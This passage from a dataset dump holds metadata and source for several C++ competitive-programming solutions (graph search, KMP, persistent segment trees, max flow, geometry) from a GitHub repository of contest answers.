"6806ac276db4caac8fc5b21f4a573666c7fd125f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 321, "license_type": "no_license", "max_line_length": 70, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p2648-Accepted-s537942.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint c;\r\ndouble r,n,l;\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%lf%lf\",&r,&n);\r\n l=2.0*r*sin(M_PI/n);\r\n if(l*l-r*r>0.0)\r\n printf(\"%.2lf\\n\",sqrt(l*l-r*r)*n*r*r*sin(2.0*M_PI/n)/6.0);\r\n else printf(\"impossible\\n\");\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3052208721637726, "alphanum_fraction": 0.3427041471004486, "avg_line_length": 18.657894134521484, "blob_id": "49c988b1f635f516d813fc5f30d8cc3682c98fbb", "content_id": "a5a61ed034df8132a881688148b61bf34898a36b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 747, "license_type": "no_license", "max_line_length": 37, "num_lines": 38, "path": "/Codeforces-Gym/100735 - KTU Programming Camp (Day 1)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 1)\n// 100735E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n;\nlong long a[105][105], row[105];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> n;\n long long sum = 0;\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n cin >> a[i][j];\n row[i] += a[i][j];\n sum += a[i][j];\n }\n }\n if (n == 1) {\n cout << a[0][0] << \"\\n\";\n return 0;\n }\n sum /= (n - 1);\n for (int i = 0; i < n; i++) {\n a[i][i] = sum - row[i];\n for (int j = 0; j < n; j++) {\n cout << a[i][j];\n if (j + 1 < n) {\n cout << \" \";\n }\n }\n cout << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3106691837310791, "alphanum_fraction": 0.3273313641548157, "avg_line_length": 23.3137264251709, "blob_id": "446aac6f1eb64932d6a02b292362c11ba16c5772", "content_id": "c895b8596aecba918940aa4128cb3759bbfb947e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3721, "license_type": "no_license", "max_line_length": 99, "num_lines": 153, "path": "/COJ/Copa-UCI-2018/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int oo = (1<<29);\nconst int MAXN = 15;\n\nbool ady[MAXN][MAXN];\nint z[MAXN][MAXN];\n\nint d[(1<<MAXN)][MAXN][MAXN];\nbool mk[(1<<MAXN)][MAXN][MAXN];\n\ntypedef pair<int,int> par;\nint n;\nvoid dijkstra( int mask, int ini ){\n for( int u = 0; u < n; u++ ){\n d[mask][ini][u] = oo;\n }\n d[mask][ini][ini] = 0;\n priority_queue<par> q;\n q.push( par( 0 , ini ) );\n\n while( !q.empty() ){\n int u = q.top().second; q.pop();\n\n if( mk[mask][ini][u] ) continue;\n\n mk[mask][ini][u] = true;\n\n for( int v = 0; v < n; v++ ){\n if( ((1<<v) & mask) && ady[u][v] && d[mask][ini][v] > d[mask][ini][u] + z[u][v] ){\n d[mask][ini][v] = d[mask][ini][u] + z[u][v];\n q.push( par( -d[mask][ini][v] , v ) );\n }\n }\n }\n}\n\nint dp[1<<MAXN][MAXN];\n\nvoid solve( int ini ){\n for( int j = 0; j < (1<<n); j++ ){\n for( int i = 0; i < n; i++ ){\n dp[j][i] = oo;\n }\n }\n\n dp[(1<<ini)][ini] = 0;\n for( int mask = 1; mask < (1<<n); mask++ ){\n for( int u = 0; u < n; u++ ){\n if( (1<<u) & mask ){\n for( int v = 0; v < n; v++ ){\n if( (1<<v) & mask ){\n dp[mask][v] = min( dp[mask][v] , dp[mask][u] + d[mask][u][v] );\n }\n }\n }\n }\n\n for( int u = 0; u < n; u++ ){\n if( ((1<<u) & mask) && dp[mask][u] != oo ){\n for( int v = 0; v < n; v++ ){\n if( !((1<<v) & mask) && ady[u][v] ){\n dp[mask | (1<<v)][v] = min( dp[mask | (1<<v)][v] , dp[mask][u] + z[u][v] );\n }\n }\n }\n }\n }\n}\n\nint a[MAXN];\nint cost[1<<MAXN];\n\nint solB[300], solS[300];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int m, b, s, k; cin >> n >> m >> b >> s >> k; b--; s--;\n\n for( int i = 0; i < n; i++ ) cin >> a[i];\n\n for( int mask = 1; mask < (1<<n); mask++ ){\n for( int u = 0; u < n; u++ ){\n if( (1<<u) & mask ){\n cost[mask] += a[u];\n }\n }\n }\n\n while( m-- ){\n int u, v; cin >> u >> v; u--; v--;\n int w; cin >> w;\n if( !ady[u][v] ){\n z[u][v] = z[v][u] = w;\n }\n else{\n z[u][v] = z[v][u] = min( z[u][v] , w );\n }\n\n ady[u][v] = ady[v][u] = true;\n }\n\n for( int mask = 1; mask < (1 << n); mask++ ){\n for( int u = 0; u < n; u++ ){\n if( (1<<u) & mask ){\n dijkstra( mask , u );\n }\n }\n }\n\n solve( s );\n for( int mask = 1; mask < (1<<n); mask++ ){\n for( int u = 0; u < n; u++ ){\n if( (1<<u) & mask ){\n if( dp[mask][u] <= k ){\n if( u == 3 ){\n cerr << mask << ' ' << dp[ mask ][u] << ' ' << cost[mask] << '\\n';\n }\n solS[ dp[mask][u] ] = max( solS[ dp[mask][u] ] , cost[mask] );\n }\n }\n }\n }\n\n solve( b );\n for( int mask = 1; mask < (1<<n); mask++ ){\n for( int u = 0; u < n; u++ ){\n if( (1<<u) & mask ){\n if( dp[mask][u] <= k ){\n solB[ dp[mask][u] ] = max( solB[ dp[mask][u] ] , cost[mask] );\n }\n }\n }\n }\n\n for( int i = 1; i <= k; i++ ){\n solS[i] = max( solS[i] , solS[i-1] );\n solB[i] = max( solB[i] , solB[i-1] );\n }\n\n int sol = 0;\n for( int i = 0; i <= k; i++ ){\n sol = max( sol , solB[i] + solS[k-i] );\n }\n\n cout << sol << '\\n';\n}\n\n" }, { "alpha_fraction": 0.4285714328289032, "alphanum_fraction": 0.44982290267944336, "avg_line_length": 18.658536911010742, "blob_id": "4a1329a195f3132e30922f1b8541cc7b684351df", "content_id": "b378c5af5571dea62ebf70664e98c539c1b9543b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 847, "license_type": "no_license", "max_line_length": 94, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p1864-Accepted-s758126.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint tc;\r\nstring a, b;\r\nint pi[200005];\r\nlong long ans;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> a >> b;\r\n\t\tint sa = a.size();\r\n\t\tint sb = b.size();\r\n\t\tb += \"#\";\r\n\t\tb += a;\r\n\t\tint n = sa + sb + 1;\r\n\t\tans = 0;\r\n\t\tfor (int i = 1, x = sb + 1; i < n; i++) { // KMP\r\n\t\t\tint j = pi[i - 1];\r\n\t\t\twhile (j > 0 && b[i] != b[j]) {\r\n\t\t\t\tj = pi[j - 1];\r\n\t\t\t}\r\n\t\t\tif (b[i] == b[j]) {\r\n\t\t\t\tj++;\r\n\t\t\t}\r\n\t\t\tpi[i] = j;\r\n\t\t\tif (i >= sb + 1) {\r\n\t\t\t\t// voy a contar todas las substring validas que terminan en i\r\n\t\t\t\tif (pi[i] == sb) { // match\r\n\t\t\t\t\tx = i - sb + 1 + 1; // no pueden comenzar en una posicion menor que x porque habria match\r\n\t\t\t\t}\r\n ans += i - x + 1; // cuento todas las substr desde x hasta i\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.44842657446861267, "alphanum_fraction": 0.48164334893226624, "avg_line_length": 19.428571701049805, "blob_id": "9d2cb1151351f0d49a6dc66419aa29d8f88557f5", "content_id": "ced17b75c3241f73a946b9e3b31e8e1073ca95e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1144, "license_type": "no_license", "max_line_length": 115, "num_lines": 56, "path": "/Codeforces-Gym/101116 - 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)\n// 101116I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nbool cmp(const pair <int, int> &a, const pair <int, int> &b) {\n if (a.first != b.first) {\n return a.first > b.first;\n }\n if (a.second == 7) {\n return true;\n }\n if (b.second == 7) {\n return false;\n }\n return a.second < b.second;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n;\n\t\tcin >> n;\n\t\tvector <int> f(55);\n\t\twhile (n--) {\n\t\t\tfor (int i = 0; i < 6; i++) {\n\t\t\t\tint x;\n\t\t\t\tcin >> x;\n\t\t\t\tf[x]++;\n\t\t\t}\n\t\t}\n\t\tvector <pair <int, int> > v;\n\t\tfor (int i = 1; i <= 49; i++) {\n\t\t\tv.push_back(make_pair(f[i], i));\n\t\t}\n\t\tsort(v.begin(), v.end(), cmp);\n\t\tvector <int> ans;\n\t\tfor (int i = 0; i < 6; i++) {\n\t\t\tans.push_back(v[i].second);\n\t\t}\n\t\tsort(ans.begin(), ans.end());\n\t\tfor (int i = 0; i < ans.size(); i++) {\n cout << ans[i];\n if (i + 1 < ans.size()) {\n cout << \" \";\n }\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.43512973189353943, "alphanum_fraction": 0.455089807510376, "avg_line_length": 25.08108139038086, "blob_id": "05f7a67ceb2937c8c8cfd2e879293c8cfb5d7f76", "content_id": "a7881fb61cc82a348c05dedf5bef667d15dc4c30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1002, "license_type": "no_license", "max_line_length": 64, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p2782-Accepted-s624050.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <queue>\r\nusing namespace std;\r\n\r\nconst int MAXN = 15, dx[] = {1, 0, -1, 0}, dy[] = {0, 1, 0, -1};\r\n\r\nchar mat[MAXN][MAXN];\r\nint n, im, jm, ifin, jfin;\r\nqueue<int> Qi, Qj;\r\nint dist[MAXN][MAXN];\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tscanf(\"%s\", mat[i]);\r\n\t\tfor (int j = 0; j < n; j++)\r\n\t\t\tif (mat[i][j] == 'm') im = i, jm = j;\r\n\t\t\telse if (mat[i][j] == '#') ifin = i, jfin = j;\r\n\t}\r\n\tdist[im][jm] = 1;\r\n\tQi.push(im); Qj.push(jm);\r\n\twhile (!Qi.empty()) {\r\n\t\tint ii = Qi.front(), jj = Qj.front();\r\n //printf(\"%d %d\\n\", ii, jj);\r\n\t\tQi.pop(); Qj.pop();\r\n\t\tfor (int r = 0; r < 4; r++) {\r\n\t\t\tint ni = ii + dx[r], nj = jj + dy[r];\r\n\t\t\t//printf(\"%d %d\\n\", ni, nj);\r\n\t\t\tif (ni < 0 || nj < 0 || ni >= n || nj >= n) continue;\r\n\t\t\tif (dist[ni][nj] || mat[ni][nj] == '*') continue;\r\n\t\t\tdist[ni][nj] = dist[ii][jj] + 1;\r\n\t\t\tQi.push(ni);\r\n\t\t\tQj.push(nj);\r\n\t\t}\r\n\t}\r\n\tif (dist[ifin][jfin]) printf(\"%d\\n\", dist[ifin][jfin] - 1);\r\n\telse printf(\"-1\\n\");\r\n}\r\n" }, { "alpha_fraction": 0.3861003816127777, "alphanum_fraction": 0.40772199630737305, "avg_line_length": 19.887096405029297, "blob_id": "9263d1b929fa6ed6180e4c34451281e026ee80e9", "content_id": "fe4a1722d7e5c59fafbd28df71a71ddf9a0affab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1295, "license_type": "no_license", "max_line_length": 133, "num_lines": 62, "path": "/Codeforces-Gym/100735 - KTU Programming Camp (Day 1)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 1)\n// 100735I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef vector<int> big;\n\nconst big ZERO = vector<int>(1, 0);\n\nvector<int> a, b, c;\n\nbig operator + (const big &a, const big &b) {\n big res;\n int len = max(a.size(), b.size());\n int carry = 0;\n for (int i = 0; i < len; i++) {\n if (i < a.size()) carry += a[i];\n if (i < b.size()) carry += b[i];\n res.push_back(carry % 10);\n carry /= 10;\n }\n if (carry) {\n res.push_back(carry);\n }\n while (res.back() == 0) {\n res.pop_back();\n }\n return res;\n}\n\nstring s;\n\nvoid print(big b) {\n for (int i = b.size() - 1; i >= 0; i--) {\n cout << b[i];\n }\n cout << \"\\n\";\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> s;\n for (int i = s.size() - 1; i >= 0; i--) {\n a.push_back(s[i] - '0');\n }\n cin >> s;\n for (int i = s.size() - 1; i >= 0; i--) {\n b.push_back(s[i] - '0');\n }\n cin >> s;\n for (int i = s.size() - 1; i >= 0; i--) {\n c.push_back(s[i] - '0');\n }\n if (a + a == b || a + a == c || b + b == a || b + b == c || c + c == a || c + c == b || a + b == c || a + c == b || b + c == a) {\n cout << \"YES\\n\";\n } else {\n cout << \"NO\\n\";\n }\n}\n" }, { "alpha_fraction": 0.35172414779663086, "alphanum_fraction": 0.3965517282485962, "avg_line_length": 16.125, "blob_id": "da8e94c222542a861fd2814c00f3692ccbb58849", "content_id": "38fbedf7be4dc16e087de0911486de4a2177aebb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 290, "license_type": "no_license", "max_line_length": 34, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2840-Accepted-s615523.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nint n, dp[1000];\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tint sum = n * (n + 1) / 2;\r\n\tif (sum & 1) printf(\"0\\n\");\r\n\telse {\r\n\t\tdp[0] = 1;\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tfor (int j = sum; j >= i; j--)\r\n\t\t\t\tdp[j] += dp[j -i];\r\n\t\tprintf(\"%d\\n\", dp[sum / 2] / 2);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.45086705684661865, "alphanum_fraction": 0.48554912209510803, "avg_line_length": 11.949999809265137, "blob_id": "2eb2ab1bc11d8f8c1acd9eb7d1dccf1257f494f4", "content_id": "f5a65f2b2e708f738ad8523d9f5ff89ce5acd1df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 519, "license_type": "no_license", "max_line_length": 46, "num_lines": 40, "path": "/Codechef/HOLDIL.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst int INF = 1000000;\n\nint t;\nLL s;\n\ninline LL f(LL n) {\n\treturn (n * (n + 1LL) * (2LL * n + 1)) / 6LL;\n}\n\nLL solve(LL s) {\n\tLL lo = 0;\n\tLL hi = 1e6;\n\tLL res = hi;\n\twhile (lo <= hi) {\n\t\tLL mid = (lo + hi) >> 1;\n\t\tif (f(mid) <= s) {\n\t\t\tres = mid;\n\t\t\tlo = mid + 1;\n\t\t} else {\n\t\t hi = mid - 1;\n\t\t}\n\t}\n\treturn res;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> s;\n\t\tcout << solve(s) << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.3683106005191803, "alphanum_fraction": 0.4113326370716095, "avg_line_length": 12.890625, "blob_id": "e7ada137fe894deb125262debd44c97205dbb003", "content_id": "147b86ecdb6d87ae34dae55bfd8185345bd3be23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 953, "license_type": "no_license", "max_line_length": 29, "num_lines": 64, "path": "/COJ/eliogovea-cojAC/eliogovea-p3050-Accepted-s827142.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint cnt(int n, int x) {\r\n\tint res = 0;\r\n\twhile (n % x == 0) {\r\n\t\tres++;\r\n\t\tn /= x;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tlong long a, b;\r\n\tcin >> a >> b;\r\n\tint ans = 0;\r\n\tint cnt5a = cnt(a, 5);\r\n\tint cnt5b = cnt(b, 5);\r\n\twhile (cnt5a != cnt5b) {\r\n\t\tif (cnt5a > cnt5b) {\r\n\t\t\ta = (a / 5);\r\n\t\t\tans++;\r\n\t\t\tcnt5a--;\r\n\t\t} else {\r\n\t\t\tb = (b / 5);\r\n\t\t\tans++;\r\n\t\t\tcnt5b--;\r\n\t\t}\r\n\t}\r\n\tint cnt3a = cnt(a, 3);\r\n\tint cnt3b = cnt(b, 3);\r\n\twhile (cnt3a != cnt3b) {\r\n\t\tif (cnt3a > cnt3b) {\r\n\t\t\ta = (a / 3);\r\n\t\t\tans++;\r\n\t\t\tcnt3a--;\r\n\t\t} else {\r\n\t\t\tb = (b / 3);\r\n\t\t\tans++;\r\n\t\t\tcnt3b--;\r\n\t\t}\r\n\t}\r\n\tint cnt2a = cnt(a, 2);\r\n\tint cnt2b = cnt(b, 2);\r\n\twhile (cnt2a != cnt2b) {\r\n\t\tif (cnt2a > cnt2b) {\r\n\t\t\ta = a / 2;\r\n\t\t\tans++;\r\n\t\t\tcnt2a--;\r\n\t\t} else {\r\n\t\t\tb = b / 2;\r\n\t\t\tans++;\r\n\t\t\tcnt2b--;\r\n\t\t}\r\n\t}\r\n\tif (a != b) {\r\n\t\tcout << \"-1\\n\";\r\n\t} else {\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3996683359146118, "alphanum_fraction": 0.4112769365310669, "avg_line_length": 16.735294342041016, "blob_id": "79db3719509a5b11cc240cdf9291b9b96cb1ee3f", "content_id": "07d59db6c1bed98b3135c0f6d9e184c3f391da3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1809, "license_type": "no_license", "max_line_length": 66, "num_lines": 102, "path": "/Caribbean-Training-Camp-2017/Contest_2/Solutions/C2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct node;\ntypedef node* pnode;\n\nstruct node{\n int v;\n pnode ls, rs;\n\n node( int v ){\n this->v = v;\n ls = rs = NULL;\n }\n};\n\nconst int MAXN = 100100;\n\npnode roots[MAXN];\n\nint a[MAXN];\n\nvoid build_st( pnode &root, int l, int r ){\n root = new node( 0 );\n\n if( l == r ){\n root->v = a[l];\n return;\n }\n\n int mid = ( l + r ) / 2;\n\n build_st( root->ls , l , mid );\n build_st( root->rs , mid+1 , r );\n}\n\npnode new_version( pnode t, int l, int r, int pos, int v ){\n pnode clone = new node( t->v );\n\n if( l == r ){\n clone->v = v;\n return clone;\n }\n\n int mid = ( l + r ) / 2;\n\n if( mid < pos ){\n clone->ls = t->ls;\n clone->rs = new_version( t->rs , mid+1 , r , pos , v );\n }\n else{\n clone->rs = t->rs;\n clone->ls = new_version( t->ls , l , mid , pos , v );\n }\n\n return clone;\n}\n\nint get_v( pnode t , int l, int r, int pos ){\n if( l == r ){\n return t->v;\n }\n\n int mid = ( l + r ) / 2;\n\n if( pos <= mid ){\n return get_v( t->ls , l , mid , pos );\n }\n else{\n return get_v( t->rs , mid+1 , r , pos );\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n for( int i = 1; i <= n; i++ ){\n cin >> a[i];\n }\n\n int sz = 0;\n build_st( roots[++sz] , 1 , n );\n\n int m; cin >> m;\n\n for( int q = 1; q <= m; q++ ){\n string op; cin >> op;\n if( op == \"create\" ){\n int i, j, x; cin >> i >> j >> x;\n roots[++sz] = new_version( roots[i] , 1 , n , j , x );\n }\n else{\n int i, j; cin >> i >> j;\n cout << get_v( roots[i] , 1 , n , j ) << '\\n';\n }\n }\n}\n" }, { "alpha_fraction": 0.39133167266845703, "alphanum_fraction": 0.4170854389667511, "avg_line_length": 17.192771911621094, "blob_id": "2b13a0ff2b29a0568aabcaee769d3adb75cae238", "content_id": "88abacba948bcccba14acf1aef1ecd30b56617eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1592, "license_type": "no_license", "max_line_length": 105, "num_lines": 83, "path": "/Timus/1010-7468844.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1010\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\ninline int sign(const LL x) {\r\n\treturn (x < 0) ? -1 : (x > 0);\r\n}\r\n\r\nstruct point {\r\n\tLL x, y;\r\n\tpoint(LL _x = 0, LL _y = 0) : x(_x), y(_y) {}\r\n};\r\n\r\npoint operator - (const point &P, const point &Q) {\r\n\treturn point(P.x - Q.x, P.y - Q.y);\r\n}\r\n\r\nLL cross(const point &P, const point &Q) {\r\n\treturn P.x * Q.y - P.y * Q.x;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\tint n;\r\n\tcin >> n;\r\n\t\r\n\tvector <point> pts(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tpts[i].x = i;\r\n\t\tcin >> pts[i].y;\r\n\t}\r\n\t\r\n\tint ans_id = 0;\r\n\tpoint ans_v = pts[1] - pts[0];\r\n\tif (ans_v.y < 0) {\r\n\t\tans_v.y = -ans_v.y;\r\n\t}\r\n\t\r\n\tfor (int i = 1; i + 1 < n; i++) {\r\n\t\tpoint v = pts[i + 1] - pts[i];\r\n\t\tif (v.y < 0) {\r\n\t\t\tv.y = -v.y;\r\n\t\t}\r\n\t\tif (sign(cross(ans_v, v)) == 1) {\r\n\t\t\tans_id = i;\r\n\t\t\tans_v = v;\r\n\t\t}\r\n\t}\r\n\t\r\n\tcout << ans_id + 1 << \" \" << ans_id + 2 << \"\\n\";\r\n\t\r\n\t// vector <int> id(n);\r\n\t// int top = 0;\r\n\t\r\n\t// for (int i = 0; i < n; i++) {\r\n\t\t// while (top > 1 && sign(cross(pts[id[top - 1]] - pts[id[top - 2]], pts[i] - pts[id[top - 2]])) > 0) {\r\n\t\t\t// top--;\r\n\t\t// }\r\n\t\t// id[top++] = i;\r\n\t// }\r\n\t\r\n\t// int ans_id = 0;\r\n\t// point ans_v = pts[id[1]] - pts[id[0]];\r\n\t// for (int i = 1; i + 1 < top; i++) {\r\n\t\t// point v = pts[id[i + 1]] - pts[id[i]];\r\n\t\t// if (v.y < 0) {\r\n\t\t\t// v.y = -v.y;\r\n\t\t// }\r\n\t\t// if (sign(cross(ans_v, v)) == 1) {\r\n\t\t\t// ans_id = i;\r\n\t\t\t// ans_v = v;\r\n\t\t// }\r\n\t// }\r\n\t\r\n\t// cout << id[ans_id] + 1 << \" \" << id[ans_id + 1] + 1 << \"\\n\";\r\n}\r\n\r\n" }, { "alpha_fraction": 0.42190152406692505, "alphanum_fraction": 0.44567063450813293, "avg_line_length": 13.706666946411133, "blob_id": "3b9b24eb139529e6a23aa3fc9827388128ce3240", "content_id": "864edc489a9a82e993bceacba835e44282b27dd0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1178, "license_type": "no_license", "max_line_length": 58, "num_lines": 75, "path": "/COJ/eliogovea-cojAC/eliogovea-p1695-Accepted-s554730.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 1010\r\n#define MAXE 20010\r\nusing namespace std;\r\n\r\nint N,M,E,source,sink;\r\nint ady[MAXE],cap[MAXE],flow[MAXE],next[MAXE];\r\nint last[MAXN],used[MAXN],id;\r\n\r\ninline void addEdge( int a, int b )\r\n{\r\n\tady[E] = b; cap[E] = 1; next[E] = last[a]; last[a] = E++;\r\n\tady[E] = a; cap[E] = 0; next[E] = last[b]; last[b] = E++;\r\n}\r\n\r\nint dfs( int u )\r\n{\r\n\tif( u == sink )\r\n\t\treturn 1;\r\n\r\n\tif( used[u] == id )\r\n\t\treturn 0;\r\n\r\n\tused[u] = id;\r\n\r\n\tfor( int e = last[u]; e != -1; e = next[e] )\r\n\t\tif( cap[e] > flow[e] )\r\n\t\t{\r\n\t\t\tint res = dfs( ady[e] );\r\n\t\t\tif( res )\r\n\t\t\t{\r\n\t\t\t\tflow[e] += 1;\r\n\t\t\t\tflow[e^1] -= 1;\r\n\t\t\t\treturn 1;\r\n\t\t\t}\r\n\t\t}\r\n\treturn 0;\r\n}\r\n\r\nint maxflow()\r\n{\r\n\tint f, tot = 0;\r\n\twhile( true )\r\n\t{\r\n\t id++;\r\n\t\tf = dfs( source );\r\n\t\tif( f == 0 )break;\r\n\t\ttot += f;\r\n\t}\r\n\treturn tot;\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf( \"%d%d\", &N, &M );\r\n\r\n\tsource = 0;\r\n\tsink = 2 * N + 1;\r\n\tfor( int i = 0; i <= sink; i++ )\r\n\t\tlast[i] = -1;\r\n\r\n\tfor( int i = 1; i <= N; i++ )\r\n\t{\r\n\t\taddEdge( source, i );\r\n\t\taddEdge( N + i, sink );\r\n\t}\r\n\r\n\tfor( int i = 1, x, y; i <= M; i++ )\r\n\t{\r\n\t\tscanf( \"%d%d\", &x, &y );\r\n\t\taddEdge( x, N + y );\r\n\t}\r\n\r\n\tprintf( \"%d\\n\", maxflow() );\r\n}\r\n" }, { "alpha_fraction": 0.300217866897583, "alphanum_fraction": 0.3167755901813507, "avg_line_length": 23.414894104003906, "blob_id": "065296749982d0dc3f8c2c4bcb41a2188d5fae52", "content_id": "947af2470f568d51bd47ac559ea9c0b58df21b8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2295, "license_type": "no_license", "max_line_length": 66, "num_lines": 94, "path": "/Codeforces-Gym/100960 - 2015-2016 Petrozavodsk Winter Training Camp, Nizhny Novgorod SU Contest/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 Petrozavodsk Winter Training Camp, Nizhny Novgorod SU Contest\n// 100960B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100 * 1000 + 5;\n\nint n, xs;\nint x[N], y[N];\nint id[N];\n\nset <pair <int, int> > S;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n >> xs;\n for (int i = 0; i < n; i++) {\n cin >> x[i] >> id[i];\n y[i] = x[i];\n S.insert(make_pair(x[i], id[i]));\n }\n set <pair <int, int> > :: iterator now;\n int dir = 0;\n int ans = 0;\n if (S.begin()->first > xs) {\n ans = 1;\n dir = 1;\n now = S.begin();\n } else {\n now = --S.upper_bound(make_pair(xs, 1));\n dir = 0;\n }\n while (true) {\n if (dir == 0) {\n while (now != S.begin() && now->second != dir) {\n now--;\n }\n if (now->second != dir) {\n //cerr << \"case 1\\n\";\n ans++;\n } else {\n set <pair <int, int> > :: iterator next = now;\n next++;\n if (next == S.end()) {\n S.erase(now);\n break;\n }\n S.erase(now);\n now = next;\n }\n dir = 1;\n } else {\n while (now != S.end() && now->second != dir) {\n now++;\n }\n if (now == S.end()) {\n break;\n } else {\n if (now == S.begin()) {\n set <pair <int, int> > :: iterator next = now;\n //cerr << \"case 2\\n\";\n ans++;\n next++;\n S.erase(now);\n now = next;\n if (now == S.end()) {\n break;\n }\n } else {\n set <pair <int, int> > :: iterator next = now;\n next--;\n S.erase(now);\n now = next;\n if (now == S.end()) {\n break;\n }\n dir = 0;\n }\n\n }\n }\n }\n if (S.size()) {\n cout << \"-1\\n\";\n return 0;\n }\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.37941819429397583, "alphanum_fraction": 0.40631842613220215, "avg_line_length": 14.44444465637207, "blob_id": "01030fe5e8a5f55aefb819513f547993544a4cc5", "content_id": "c7eb326cb5e3a81ee416b34aeb1c1f47c4d9f3f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3197, "license_type": "no_license", "max_line_length": 65, "num_lines": 207, "path": 